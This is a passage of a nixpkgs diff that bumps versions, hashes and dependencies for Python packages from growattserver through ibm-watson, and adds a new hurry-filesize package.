= "set-default-encoding.patch"; + url = "https://github.com/joeyespo/grip/commit/2784eb2c1515f1cdb1554d049d48b3bff0f42085.patch"; + hash = "sha256-veVJKJtt8mP1jmseRD7pNR3JgIxX1alYHyQok/rBpiQ="; + }) + ]; + nativeCheckInputs = [ pytest responses ]; propagatedBuildInputs = [ docopt flask markdown path-and-address pygments requests tabulate ]; diff --git a/pkgs/development/python-modules/growattserver/default.nix b/pkgs/development/python-modules/growattserver/default.nix index 1c7e12fab2e7e..1cd8d8e735d4b 100644 --- a/pkgs/development/python-modules/growattserver/default.nix +++ b/pkgs/development/python-modules/growattserver/default.nix @@ -3,12 +3,13 @@ , fetchFromGitHub , pythonOlder , requests +, setuptools }: buildPythonPackage rec { pname = "growattserver"; - version = "1.4.0"; - format = "setuptools"; + version = "1.5.0"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -16,9 +17,13 @@ buildPythonPackage rec { owner = "indykoning"; repo = "PyPi_GrowattServer"; rev = "refs/tags/${version}"; - hash = "sha256-V0EW3I0FIDx9urbxX/zh3A51B/BiDqUfsrKbKU9FKiE="; + hash = "sha256-ATxXjIF5QRsdLuXZCOWMwvbBzawrhlYZ+wodITz36sE="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ requests ]; diff --git a/pkgs/development/python-modules/grpc-google-iam-v1/default.nix b/pkgs/development/python-modules/grpc-google-iam-v1/default.nix index e94278fec3104..98f550a047f68 100644 --- a/pkgs/development/python-modules/grpc-google-iam-v1/default.nix +++ b/pkgs/development/python-modules/grpc-google-iam-v1/default.nix @@ -1,19 +1,22 @@ { lib , buildPythonPackage -, fetchPypi -, setuptools -, grpcio +, fetchFromGitHub , googleapis-common-protos +, grpcio +, pytestCheckHook +, setuptools }: buildPythonPackage rec { pname = "grpc-google-iam-v1"; - version = "0.12.7"; + version = "0.13.0"; pyproject = true; - src = fetchPypi { - inherit pname version; - hash = "sha256-AJGXp/HqqiIUnJbl4FSsWTS6ckGXTpJmPY01KKISA9E="; + src = fetchFromGitHub { + owner = "googleapis"; + repo = "python-grpc-google-iam-v1"; + rev = "refs/tags/v${version}"; + hash = "sha256-pmwHDzOaXrgqXZiaxIn01CtiAG+XRBGr8BgzbG/F1uw="; }; nativeBuildInputs = [ @@ -25,17 +28,24 @@ buildPythonPackage rec { googleapis-common-protos ]; - # no tests run - doCheck = false; + nativeCheckInputs = [ + pytestCheckHook + ]; pythonImportsCheck = [ "google.iam" "google.iam.v1" ]; + pytestFlagsArray = [ + "-W" + "ignore::DeprecationWarning" + ]; + meta = with lib; { description = "GRPC library for the google-iam-v1 service"; - homepage = "https://github.com/googleapis/googleapis"; + homepage = "https://github.com/googleapis/python-grpc-google-iam-v1"; + changelog = "https://github.com/googleapis/python-grpc-google-iam-v1/releases/tag/v${version}"; license = licenses.asl20; maintainers = with maintainers; [ ]; }; diff --git a/pkgs/development/python-modules/grpcio-channelz/default.nix b/pkgs/development/python-modules/grpcio-channelz/default.nix index 522bf49fafd9c..7e62bf091b381 100644 --- a/pkgs/development/python-modules/grpcio-channelz/default.nix +++ b/pkgs/development/python-modules/grpcio-channelz/default.nix @@ -8,12 +8,12 @@ buildPythonPackage rec { pname = "grpcio-channelz"; - version = "1.60.1"; + version = "1.62.0"; format = "setuptools"; src = fetchPypi { inherit pname version; - hash = "sha256-eAYWHTlyThrJ9vTumXPDeEcyk5OC8tfI12K073heF6A="; + hash = "sha256-MjL6BjQx2G3TpQ4Pe8uB3zIgGrykLtI/6eLLQ8AyKnk="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/grpcio-health-checking/default.nix b/pkgs/development/python-modules/grpcio-health-checking/default.nix index 7873404d65146..a6c76e8bfea67 100644 --- a/pkgs/development/python-modules/grpcio-health-checking/default.nix +++ b/pkgs/development/python-modules/grpcio-health-checking/default.nix @@ -8,12 +8,12 @@ buildPythonPackage rec { pname = "grpcio-health-checking"; - version = "1.60.1"; + version = "1.62.0"; format = "setuptools"; src = fetchPypi { inherit pname version; - hash = "sha256-fC5Izp1b2xmtV7er40ONR+verVB4ZpORQHILPijGJbM="; + hash = "sha256-f8JjBFMP2KwGukvtvcGUpWPFXiGKv/QJy68d5xkUk3s="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/grpcio-reflection/default.nix b/pkgs/development/python-modules/grpcio-reflection/default.nix index 713fec8af4cdf..365c7beabf2ba 100644 --- a/pkgs/development/python-modules/grpcio-reflection/default.nix +++ b/pkgs/development/python-modules/grpcio-reflection/default.nix @@ -8,12 +8,12 @@ buildPythonPackage rec { pname = "grpcio-reflection"; - version = "1.60.1"; + version = "1.62.0"; format = "setuptools"; src = fetchPypi { inherit pname version; - hash = "sha256-v+1JYUE4IcEbTfECyesFWsjENUYm2dyxEKJz79TPfZg="; + hash = "sha256-rxcHOZ7yghx5Xss3lVC/Wnb7ZAmxSeuzRjEM/QHaKYo="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/gst-python/default.nix b/pkgs/development/python-modules/gst-python/default.nix index 03062ea264be9..7b557a605a5b7 100644 --- a/pkgs/development/python-modules/gst-python/default.nix +++ b/pkgs/development/python-modules/gst-python/default.nix @@ -14,7 +14,7 @@ buildPythonPackage rec { pname = "gst-python"; - version = "1.22.8"; + version = "1.22.9"; format = "other"; @@ -22,7 +22,7 @@ buildPythonPackage rec { src = fetchurl { url = "https://gstreamer.freedesktop.org/src/gst-python/${pname}-${version}.tar.xz"; - hash = "sha256-1cuPFEBUoqEQ5mcr1RLksV1bG42YecGSuXI1Ne+3C48="; + hash = "sha256-P51cb/79omhwN0S1kqazmDqmcjJzsSIOy8tiwqWAAAk="; }; # Python 2.x is not supported. diff --git a/pkgs/development/python-modules/h5py/default.nix b/pkgs/development/python-modules/h5py/default.nix index fc30a7536a335..a11578f832ba2 100644 --- a/pkgs/development/python-modules/h5py/default.nix +++ b/pkgs/development/python-modules/h5py/default.nix @@ -47,7 +47,7 @@ in buildPythonPackage rec { ${lib.optionalString mpiSupport "export OMPI_MCA_rmaps_base_oversubscribe=yes"} ''; - preBuild = lib.optionalString mpiSupport "export CC=${mpi}/bin/mpicc"; + preBuild = lib.optionalString mpiSupport "export CC=${lib.getDev mpi}/bin/mpicc"; nativeBuildInputs = [ cython diff --git a/pkgs/development/python-modules/habanero/default.nix b/pkgs/development/python-modules/habanero/default.nix index 8450386c26772..51dcfdcc91c7e 100644 --- a/pkgs/development/python-modules/habanero/default.nix +++ b/pkgs/development/python-modules/habanero/default.nix @@ -12,7 +12,7 @@ buildPythonPackage rec { pname = "habanero"; - version = "1.2.3"; + version = "1.2.6"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -21,7 +21,7 @@ buildPythonPackage rec { owner = "sckott"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-IQp85Cigs0in3X07a9d45nMC3X2tAkPzl5hFVhfr00o="; + hash = "sha256-Pw0TgXxDRmR565hdNGipfDZ7P32pxWkmPWfaYK0RaI4="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/habluetooth/default.nix b/pkgs/development/python-modules/habluetooth/default.nix index e37c6a6807422..e84fa94ae0c12 100644 --- a/pkgs/development/python-modules/habluetooth/default.nix +++ b/pkgs/development/python-modules/habluetooth/default.nix @@ -16,7 +16,7 @@ buildPythonPackage rec { pname = "habluetooth"; - version = "2.4.0"; + version = "2.4.2"; pyproject = true; disabled = pythonOlder "3.10"; @@ -25,7 +25,7 @@ buildPythonPackage rec { owner = "Bluetooth-Devices"; repo = "habluetooth"; rev = "refs/tags/v${version}"; - hash = "sha256-bZtcvidjUhlb9ML1UIP00yqJ+KnJig5i0j/tAZSK7+Y="; + hash = "sha256-IoVXmq9ShwLpGtoxVOtoirSirJJ1DqBI/mP7PmK7OUs="; }; postPatch = '' diff --git a/pkgs/development/python-modules/hahomematic/default.nix b/pkgs/development/python-modules/hahomematic/default.nix index c3042450ab608..2a78e7c96d370 100644 --- a/pkgs/development/python-modules/hahomematic/default.nix +++ b/pkgs/development/python-modules/hahomematic/default.nix @@ -2,6 +2,7 @@ , aiohttp , buildPythonPackage , fetchFromGitHub +, fetchpatch , freezegun , orjson , pydevccu @@ -18,7 +19,7 @@ buildPythonPackage rec { pname = "hahomematic"; - version = "2024.2.3"; + version = "2024.3.0"; pyproject = true; disabled = pythonOlder "3.11"; @@ -27,15 +28,25 @@ buildPythonPackage rec { owner = "danielperna84"; repo = "hahomematic"; rev = "refs/tags/${version}"; - hash = "sha256-T2318TnVzvteRADOjoTP7ulIhTyeTbCFX1/KpwWXjlI="; + hash = "sha256-zSGzdj51StlLMmFZzprQUn6Ry9ahJPUq/Z9hVlKn8oA="; }; + patches = [ + # Update pydevccu, extend ruff usage + # https://github.com/danielperna84/hahomematic/pull/1454 + (fetchpatch { + url = "https://github.com/danielperna84/hahomematic/commit/81a9a1c9291e2271ac0b995e7dd4725cfe99c7fe.patch"; + includes = [ "tests/test_central_pydevccu.py" ]; + hash = "sha256-l/wNK0/nOZHyrFp+in3ozmMyN5ifo514esGPJVZlb1g="; + }) + ]; + __darwinAllowLocalNetworking = true; postPatch = '' substituteInPlace pyproject.toml \ - --replace "setuptools~=68.2" "setuptools" \ - --replace "wheel~=0.41.2" "wheel" + --replace-fail "setuptools~=69.1.0" "setuptools" \ + --replace-fail "wheel~=0.42.0" "wheel" ''; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/hishel/default.nix b/pkgs/development/python-modules/hishel/default.nix index de75f1e46b17f..4f8dae862c557 100644 --- a/pkgs/development/python-modules/hishel/default.nix +++ b/pkgs/development/python-modules/hishel/default.nix @@ -1,10 +1,12 @@ { lib , anysqlite +, boto3 , buildPythonPackage , fetchFromGitHub , hatch-fancy-pypi-readme , hatchling , httpx +, moto , pytest-asyncio , pytestCheckHook , pythonOlder @@ -15,7 +17,7 @@ buildPythonPackage rec { pname = "hishel"; - version = "0.0.22"; + version = "0.0.24"; pyproject = true; disabled = pythonOlder "3.8"; @@ -24,7 +26,7 @@ buildPythonPackage rec { owner = "karpetrosyan"; repo = "hishel"; rev = "refs/tags/${version}"; - hash = "sha256-2GboU1J0jvZUz20+KpDYnfDqc+qi0tmlypbWeOoYjX0="; + hash = "sha256-wup1rQ5MHjsBaTdfueP9y7QhutoO0xYeexZPDQpUEJk="; }; nativeBuildInputs = [ @@ -40,6 +42,9 @@ buildPythonPackage rec { redis = [ redis ]; + s3 = [ + boto3 + ]; sqlite = [ anysqlite ]; @@ -49,6 +54,7 @@ buildPythonPackage rec { }; nativeCheckInputs = [ + moto pytest-asyncio pytestCheckHook trio diff --git a/pkgs/development/python-modules/holidays/default.nix b/pkgs/development/python-modules/holidays/default.nix index 539caf7083d82..0ed4d2555673a 100644 --- a/pkgs/development/python-modules/holidays/default.nix +++ b/pkgs/development/python-modules/holidays/default.nix @@ -21,7 +21,7 @@ buildPythonPackage rec { pname = "holidays"; - version = "0.42"; + version = "0.44"; pyproject = true; disabled = pythonOlder "3.8"; @@ -30,7 +30,7 @@ buildPythonPackage rec { owner = "vacanza"; repo = "python-holidays"; rev = "refs/tags/v${version}"; - hash = "sha256-oVuzX/H5jj/c4dbPGmXUnZeDbgSd9v9qP2dXe6+PaUQ="; + hash = "sha256-RwM4RtFIUSaM/e4kiHOMg97lZ4VknB1pOqGRuIe2ns8="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/holoviews/default.nix b/pkgs/development/python-modules/holoviews/default.nix index 132d01fa355cd..74f7b2dd9debb 100644 --- a/pkgs/development/python-modules/holoviews/default.nix +++ b/pkgs/development/python-modules/holoviews/default.nix @@ -17,14 +17,14 @@ buildPythonPackage rec { pname = "holoviews"; - version = "1.18.1"; + version = "1.18.3"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-gFxzU65S6XdT5/BmiwUaCGQQ4tLBPI/ilOu0zdArIyQ="; + hash = "sha256-V44w6J1ydU+XqD6+CBmP7I6HzH5JslufMew5P5OcpQA="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/home-assistant-chip-clusters/default.nix b/pkgs/development/python-modules/home-assistant-chip-clusters/default.nix index 44fb32e25c2d2..6ffdda58a6cee 100644 --- a/pkgs/development/python-modules/home-assistant-chip-clusters/default.nix +++ b/pkgs/development/python-modules/home-assistant-chip-clusters/default.nix @@ -7,7 +7,7 @@ buildPythonPackage rec { pname = "home-assistant-chip-clusters"; - version = "2024.1.0"; + version = "2024.2.1"; format = "wheel"; src = fetchPypi { @@ -15,7 +15,7 @@ buildPythonPackage rec { pname = "home_assistant_chip_clusters"; dist = "py3"; python = "py3"; - hash = "sha256-4btkqAHbwAsyGV1LjngEoeTT5qyI8dtqFVTp0lIFwmg="; + hash = "sha256-QMsfs9gUWeaz1LfMZF5J2OFVCPnuckZvvF9x5bQ5uZY="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/home-assistant-chip-core/default.nix b/pkgs/development/python-modules/home-assistant-chip-core/default.nix index 88ec84d88359d..b3d5a232c10a7 100644 --- a/pkgs/development/python-modules/home-assistant-chip-core/default.nix +++ b/pkgs/development/python-modules/home-assistant-chip-core/default.nix @@ -8,8 +8,8 @@ , autoPatchelfHook # runtime +, glib , libnl -, openssl_1_1 # propagates , aenum @@ -28,7 +28,7 @@ buildPythonPackage rec { pname = "home-assistant-chip-core"; - version = "2024.1.0"; + version = "2024.2.1"; format = "wheel"; disabled = pythonOlder "3.7"; @@ -37,11 +37,11 @@ buildPythonPackage rec { system = { "aarch64-linux" = { name = "aarch64"; - hash = "sha256-UiikZ2DVhTqX6WYfiE8sp2e52BMlyoQnDjLap/efmNc="; + hash = "sha256-gHnTuiyCD9A9Ru8xhniNEpCyn+W9zYnCAoTJeGOW7TI="; }; "x86_64-linux" = { name = "x86_64"; - hash = "sha256-/+gegUMd2n7MpJvdilS5VWefXc0tuRcLrXBBXSH35b0="; + hash = "sha256-gKZKcCXQ8PvZAPV2QRQl+u+r95CVLBDDDgtC0MT7xw4="; }; }.${stdenv.system} or (throw "Unsupported system: ${stdenv.system}"); in fetchPypi { @@ -59,8 +59,8 @@ buildPythonPackage rec { ]; buildInputs = [ + glib libnl - openssl_1_1 ]; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/hstspreload/default.nix b/pkgs/development/python-modules/hstspreload/default.nix index badfd107962d5..30ebd93208eab 100644 --- a/pkgs/development/python-modules/hstspreload/default.nix +++ b/pkgs/development/python-modules/hstspreload/default.nix @@ -7,7 +7,7 @@ buildPythonPackage rec { pname = "hstspreload"; - version = "2024.2.1"; + version = "2024.3.1"; pyproject = true; disabled = pythonOlder "3.6"; @@ -16,7 +16,7 @@ buildPythonPackage rec { owner = "sethmlarson"; repo = "hstspreload"; rev = "refs/tags/${version}"; - hash = "sha256-e0PQpnzYWl8IMtLFdnYPMCBioriumc3vc1ExRjCYoc8="; + hash = "sha256-TlPZg1IbgOODbkgJHWI6dNdk3jsyL2L/3qhLtXvQjqI="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/http-message-signatures/default.nix b/pkgs/development/python-modules/http-message-signatures/default.nix index bc3351feb3d84..b9ccede6714eb 100644 --- a/pkgs/development/python-modules/http-message-signatures/default.nix +++ b/pkgs/development/python-modules/http-message-signatures/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "http-message-signatures"; - version = "0.4.4"; + version = "0.5.0"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -20,7 +20,7 @@ buildPythonPackage rec { owner = "pyauth"; repo = pname; rev = "v${version}"; - hash = "sha256-acTziJM5H5Td+eG/LNrlNwgpVvFDyl/tf6//YuE1XZk="; + hash = "sha256-Jsivw4lNA/2oqsOGGx8D4gUPftzuys877A9RXyapnSQ="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/httpx-auth/default.nix b/pkgs/development/python-modules/httpx-auth/default.nix index dc159c7b0ee46..a21e05a567efa 100644 --- a/pkgs/development/python-modules/httpx-auth/default.nix +++ b/pkgs/development/python-modules/httpx-auth/default.nix @@ -1,19 +1,20 @@ { lib , buildPythonPackage , fetchFromGitHub -, pythonOlder -, setuptools -, setuptools-scm -, wheel , httpx , pyjwt +, pytest-asyncio , pytest-httpx , pytestCheckHook +, pythonOlder +, setuptools +, setuptools-scm +, time-machine }: buildPythonPackage rec { pname = "httpx-auth"; - version = "0.19.0"; + version = "0.21.0"; pyproject = true; disabled = pythonOlder "3.9"; @@ -22,13 +23,12 @@ buildPythonPackage rec { owner = "Colin-b"; repo = "httpx_auth"; rev = "refs/tags/v${version}"; - hash = "sha256-ptxM0gabr+NmfkXqYlWd+G0c0yClJawRNKjbtPKSGFY="; + hash = "sha256-tKEYFoIHxiBG18JWyCHzQEwUvrWk/zuCWqj1uYsmh84="; }; nativeBuildInputs = [ setuptools setuptools-scm - wheel ]; propagatedBuildInputs = [ @@ -37,11 +37,15 @@ buildPythonPackage rec { nativeCheckInputs = [ pyjwt + pytest-asyncio pytest-httpx pytestCheckHook + time-machine ]; - pythonImportsCheck = [ "httpx_auth" ]; + pythonImportsCheck = [ + "httpx_auth" + ]; __darwinAllowLocalNetworking = true; diff --git a/pkgs/development/python-modules/httpx-socks/default.nix b/pkgs/development/python-modules/httpx-socks/default.nix index 1daf600f4d842..65dedd26c02fc 100644 --- a/pkgs/development/python-modules/httpx-socks/default.nix +++ b/pkgs/development/python-modules/httpx-socks/default.nix @@ -23,16 +23,16 @@ buildPythonPackage rec { pname = "httpx-socks"; - version = "0.8.1"; - format = "pyproject"; + version = "0.9.1"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "romis2012"; - repo = pname; + repo = "httpx-socks"; rev = "refs/tags/v${version}"; - hash = "sha256-L2nyVADDjPrHwhZRm+RAvfBdpP9sIvc9cakDiLVA7xw="; + hash = "sha256-9v5DfxEtM7jq+b8wR0M1klTSnSdFjQ4aDl8ZSZWxbFA="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/huggingface-hub/default.nix b/pkgs/development/python-modules/huggingface-hub/default.nix index 17ad769329c73..f206bebc4e1bf 100644 --- a/pkgs/development/python-modules/huggingface-hub/default.nix +++ b/pkgs/development/python-modules/huggingface-hub/default.nix @@ -1,7 +1,8 @@ { lib -, fetchFromGitHub , buildPythonPackage , pythonOlder +, fetchFromGitHub +, setuptools , filelock , fsspec , packaging @@ -13,8 +14,8 @@ buildPythonPackage rec { pname = "huggingface-hub"; - version = "0.20.3"; - format = "setuptools"; + version = "0.21.4"; + pyproject = true; disabled = pythonOlder "3.8"; @@ -22,9 +23,13 @@ buildPythonPackage rec { owner = "huggingface"; repo = "huggingface_hub"; rev = "refs/tags/v${version}"; - hash = "sha256-21Ay8RVS2vtQIh4bBUxE8jFk6F+yeFBJ3XgvRRNtNgI="; + hash = "sha256-SN0FDOuXvgDqxpK4RRRXQDTPG5/BV3DJsiEq2q5WvsY="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ filelock fsspec @@ -47,6 +52,6 @@ buildPythonPackage rec { homepage = "https://github.com/huggingface/huggingface_hub"; changelog = "https://github.com/huggingface/huggingface_hub/releases/tag/v${version}"; license = licenses.asl20; - maintainers = with maintainers; [ kira-bruneau ]; + maintainers = with maintainers; [ ]; }; } diff --git a/pkgs/development/python-modules/hurry-filesize/default.nix b/pkgs/development/python-modules/hurry-filesize/default.nix new file mode 100644 index 0000000000000..62bd1f810f9d5 --- /dev/null +++ b/pkgs/development/python-modules/hurry-filesize/default.nix @@ -0,0 +1,39 @@ +{ lib +, buildPythonPackage +, fetchPypi + +, pythonOlder + +, setuptools +}: + +buildPythonPackage rec { + pname = "hurry-filesize"; + version = "0.9"; + pyproject = true; + + disabled = pythonOlder "3.3"; + + src = fetchPypi { + pname = "hurry.filesize"; + inherit version; + hash = "sha256-9TaDKa2++GrM07yUkFIjQLt5JgRVromxpCwQ9jgBuaY="; + }; + + # project has no repo... + # fix implicit namespaces (PEP 420) warning + patches = [ ./use-pep-420-implicit-namespace-package.patch ]; + + build-system = [ + setuptools + ]; + + pythonImportsCheck = [ "hurry.filesize" ]; + + meta = with lib; { + description = "A simple Python library for human readable file sizes (or anything sized in bytes)"; + homepage = "https://pypi.org/project/hurry.filesize/"; + license = licenses.zpl21; + maintainers = with maintainers; [ vizid ]; + }; +} diff --git a/pkgs/development/python-modules/hurry-filesize/use-pep-420-implicit-namespace-package.patch b/pkgs/development/python-modules/hurry-filesize/use-pep-420-implicit-namespace-package.patch new file mode 100644 index 0000000000000..788c603ac5303 --- /dev/null +++ b/pkgs/development/python-modules/hurry-filesize/use-pep-420-implicit-namespace-package.patch @@ -0,0 +1,24 @@ +diff --git a/setup.py b/setup.py +index 9ec6f2e..607b680 100644 +--- a/setup.py ++++ b/setup.py +@@ -29,7 +29,6 @@ setup( + license='ZPL 2.1', + packages=find_packages('src'), + package_dir= {'':'src'}, +- namespace_packages=['hurry'], + include_package_data=True, + zip_safe=False, + install_requires=[ +diff --git a/src/hurry/__init__.py b/src/hurry/__init__.py +index 2e2033b..e69de29 100644 +--- a/src/hurry/__init__.py ++++ b/src/hurry/__init__.py +@@ -1,7 +0,0 @@ +-# this is a namespace package +-try: +- import pkg_resources +- pkg_resources.declare_namespace(__name__) +-except ImportError: +- import pkgutil +- __path__ = pkgutil.extend_path(__path__, __name__) diff --git a/pkgs/development/python-modules/ibeacon-ble/default.nix b/pkgs/development/python-modules/ibeacon-ble/default.nix index 1f0f799d587f2..acbc955f10891 100644 --- a/pkgs/development/python-modules/ibeacon-ble/default.nix +++ b/pkgs/development/python-modules/ibeacon-ble/default.nix @@ -1,5 +1,6 @@ { lib , aiohttp +, aiooui , buildPythonPackage , fetchFromGitHub , home-assistant-bluetooth @@ -11,21 +12,21 @@ buildPythonPackage rec { pname = "ibeacon-ble"; - version = "1.0.1"; - format = "pyproject"; + version = "1.2.0"; + pyproject = true; disabled = pythonOlder "3.9"; src = fetchFromGitHub { owner = "Bluetooth-Devices"; - repo = pname; + repo = "ibeacon-ble"; rev = "refs/tags/v${version}"; - hash = "sha256-iYgGflM0IpSIMNgPpJAFAl9FYoMfRinM3sP6VRcBSMc="; + hash = "sha256-1liSWxduYpjIMu7226EH4bsc7gca5g/fyL79W4ZMdU4="; }; postPatch = '' substituteInPlace pyproject.toml \ - --replace " --cov=ibeacon_ble --cov-report=term-missing:skip-covered" "" + --replace-fail " --cov=ibeacon_ble --cov-report=term-missing:skip-covered" "" ''; nativeBuildInputs = [ @@ -34,6 +35,7 @@ buildPythonPackage rec { propagatedBuildInputs = [ aiohttp + aiooui home-assistant-bluetooth mac-vendor-lookup ]; diff --git a/pkgs/development/python-modules/ibis-framework/default.nix b/pkgs/development/python-modules/ibis-framework/default.nix index 8c2e49a6e4e5a..c6d68d83dbff2 100644 --- a/pkgs/development/python-modules/ibis-framework/default.nix +++ b/pkgs/development/python-modules/ibis-framework/default.nix @@ -17,7 +17,7 @@ , geopandas , google-cloud-bigquery , google-cloud-bigquery-storage -, graphviz-nox +, graphviz , hypothesis , multipledispatch , numpy @@ -25,15 +25,17 @@ , packaging , pandas , parsy +, pins , poetry-core , poetry-dynamic-versioning , polars -, pooch , psycopg2 , pyarrow +, pyarrow-hotfix , pydata-google-auth , pydruid , pymysql +, pyodbc , pyspark , pytest-benchmark , pytest-httpserver @@ -63,7 +65,7 @@ let name = "ibis-testing-data"; owner = "ibis-project"; repo = "testing-data"; - # https://github.com/ibis-project/ibis/blob/7.1.0/nix/overlay.nix#L20-L26 + # https://github.com/ibis-project/ibis/blob/8.0.0/nix/overlay.nix#L20-L26 rev = "2c6a4bb5d5d525058d8d5b2312a9fee5dafc5476"; hash = "sha256-Lq503bqh9ESZJSk6yVq/uZwkAubzmSmoTBZSsqMm0DY="; }; @@ -71,8 +73,8 @@ in buildPythonPackage rec { pname = "ibis-framework"; - version = "7.1.0"; - format = "pyproject"; + version = "8.0.0"; + pyproject = true; disabled = pythonOlder "3.9"; @@ -81,7 +83,7 @@ buildPythonPackage rec { repo = "ibis"; owner = "ibis-project"; rev = "refs/tags/${version}"; - hash = "sha256-E7jryoidw6+CjTIex4wcTXcU+8Kg8LDwg7wJvcwj+7Q="; + hash = "sha256-KcNZslqmSbu8uPYKpkyvd7d8Fsf0nQt80y0auXsI8fs="; }; nativeBuildInputs = [ @@ -94,25 +96,24 @@ buildPythonPackage rec { propagatedBuildInputs = [ atpublic bidict - filelock multipledispatch numpy pandas parsy - pooch pyarrow + pyarrow-hotfix python-dateutil pytz rich sqlglot toolz typing-extensions - ] - ++ pooch.optional-dependencies.progress - ++ pooch.optional-dependencies.xxhash; + ]; nativeCheckInputs = [ pytestCheckHook + black + filelock hypothesis pytest-benchmark pytest-httpserver @@ -126,35 +127,28 @@ buildPythonPackage rec { "--dist=loadgroup" "-m" "'${lib.concatStringsSep " or " testBackends} or core'" + ]; + + disabledTests = [ # breakage from sqlalchemy2 truediv changes - "--deselect=ibis/tests/sql/test_sqlalchemy.py::test_tpc_h17" + "test_tpc_h17" # tries to download duckdb extensions - "--deselect=ibis/backends/duckdb/tests/test_register.py::test_register_sqlite" - "--deselect=ibis/backends/duckdb/tests/test_register.py::test_read_sqlite" - + "test_register_sqlite" + "test_read_sqlite" # duckdb does not respect sample_size=2 (reads 3 lines of csv). - "--deselect=ibis/backends/tests/test_register.py::test_csv_reregister_schema" - + "test_csv_reregister_schema" # duckdb fails with: # "This function can not be called with an active transaction!, commit or abort the existing one first" - "--deselect=ibis/backends/tests/test_udf.py::test_vectorized_udf" - "--deselect=ibis/backends/tests/test_udf.py::test_map_merge_udf" - "--deselect=ibis/backends/tests/test_udf.py::test_udf" - "--deselect=ibis/backends/tests/test_udf.py::test_map_udf" - - # pyarrow13 is not supported yet. - "--deselect=ibis/backends/tests/test_temporal.py::test_date_truncate" - "--deselect=ibis/backends/tests/test_temporal.py::test_integer_to_interval_timestamp" - "--deselect=ibis/backends/tests/test_temporal.py::test_integer_to_interval_timestamp" - "--deselect=ibis/backends/tests/test_temporal.py::test_interval_add_cast_column" - "--deselect=ibis/backends/tests/test_temporal.py::test_integer_to_interval_timestamp" - "--deselect=ibis/backends/tests/test_temporal.py::test_integer_to_interval_timestamp" - "--deselect=ibis/backends/tests/test_temporal.py::test_integer_to_interval_timestamp" - "--deselect=ibis/backends/tests/test_temporal.py::test_integer_to_interval_timestamp" - "--deselect=ibis/backends/tests/test_timecontext.py::test_context_adjustment_filter_before_window" - "--deselect=ibis/backends/tests/test_timecontext.py::test_context_adjustment_window_udf" - "--deselect=ibis/backends/tests/test_timecontext.py::test_context_adjustment_window_udf" - "--deselect=ibis/backends/tests/test_aggregation.py::test_aggregate_grouped" + "test_vectorized_udf" + "test_s3_403_fallback" + "test_map_merge_udf" + "test_udf" + "test_map_udf" + # DataFusion error + "datafusion" + # pluggy.PluggyTeardownRaisedWarning + "test_repr_png_is_not_none_in_not_interactive" + "test_interval_arithmetic" ]; # patch out tests that check formatting with black @@ -162,7 +156,6 @@ buildPythonPackage rec { find ibis/tests -type f -name '*.py' -exec sed -i \ -e '/^ *assert_decompile_roundtrip/d' \ -e 's/^\( *\)code = ibis.decompile(expr, format=True)/\1code = ibis.decompile(expr)/g' {} + - substituteInPlace pyproject.toml --replace 'sqlglot = ">=10.4.3,<12"' 'sqlglot = "*"' ''; preCheck = '' @@ -188,20 +181,22 @@ buildPythonPackage rec { dask = [ dask regex ]; datafusion = [ datafusion ]; druid = [ pydruid sqlalchemy ]; - duckdb = [ duckdb duckdb-engine packaging sqlalchemy sqlalchemy-views ]; + duckdb = [ duckdb duckdb-engine sqlalchemy sqlalchemy-views ]; flink = [ ]; geospatial = [ geoalchemy2 geopandas shapely ]; + mssql = [ sqlalchemy pyodbc sqlalchemy-views ]; mysql = [ sqlalchemy pymysql sqlalchemy-views ]; oracle = [ sqlalchemy oracledb packaging sqlalchemy-views ]; pandas = [ regex ]; - polars = [ polars ]; + polars = [ polars packaging ]; postgres = [ psycopg2 sqlalchemy sqlalchemy-views ]; - pyspark = [ pyspark sqlalchemy ]; - snowflake = [ snowflake-connector-python snowflake-sqlalchemy sqlalchemy-views ]; - sqlite = [ regex sqlalchemy sqlite sqlalchemy-views ]; + pyspark = [ pyspark sqlalchemy packaging ]; + snowflake = [ snowflake-connector-python snowflake-sqlalchemy sqlalchemy-views packaging ]; + sqlite = [ regex sqlalchemy sqlalchemy-views ]; trino = [ trino-python-client sqlalchemy sqlalchemy-views ]; - visualization = [ graphviz-nox ]; + visualization = [ graphviz ]; decompiler = [ black ]; + examples = [ pins ] ++ pins.optional-dependencies.gcs; }; }; diff --git a/pkgs/development/python-modules/ibm-cloud-sdk-core/default.nix b/pkgs/development/python-modules/ibm-cloud-sdk-core/default.nix index 5d27b9d490e16..46a5eb3e36912 100644 --- a/pkgs/development/python-modules/ibm-cloud-sdk-core/default.nix +++ b/pkgs/development/python-modules/ibm-cloud-sdk-core/default.nix @@ -12,14 +12,14 @@ buildPythonPackage rec { pname = "ibm-cloud-sdk-core"; - version = "3.19.1"; + version = "3.19.2"; pyproject = true; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-oPDcQSWNWG9wauSVW7srXN85+UeF6Q0CRlaSyqh2W/Q="; + hash = "sha256-qodN9ALyAfzsrCAiPT3t02JJRCBqFCNVWlsQP+4d3do="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/ibm-watson/default.nix b/pkgs/development/python-modules/ibm-watson/default.nix index 522b7b13cc1cb..c15ec2005a297 100644 --- a/pkgs/development/python-modules/ibm-watson/default.nix +++ b/pkgs/development/python-modules/ibm-watson/default.nix @@ -14,7 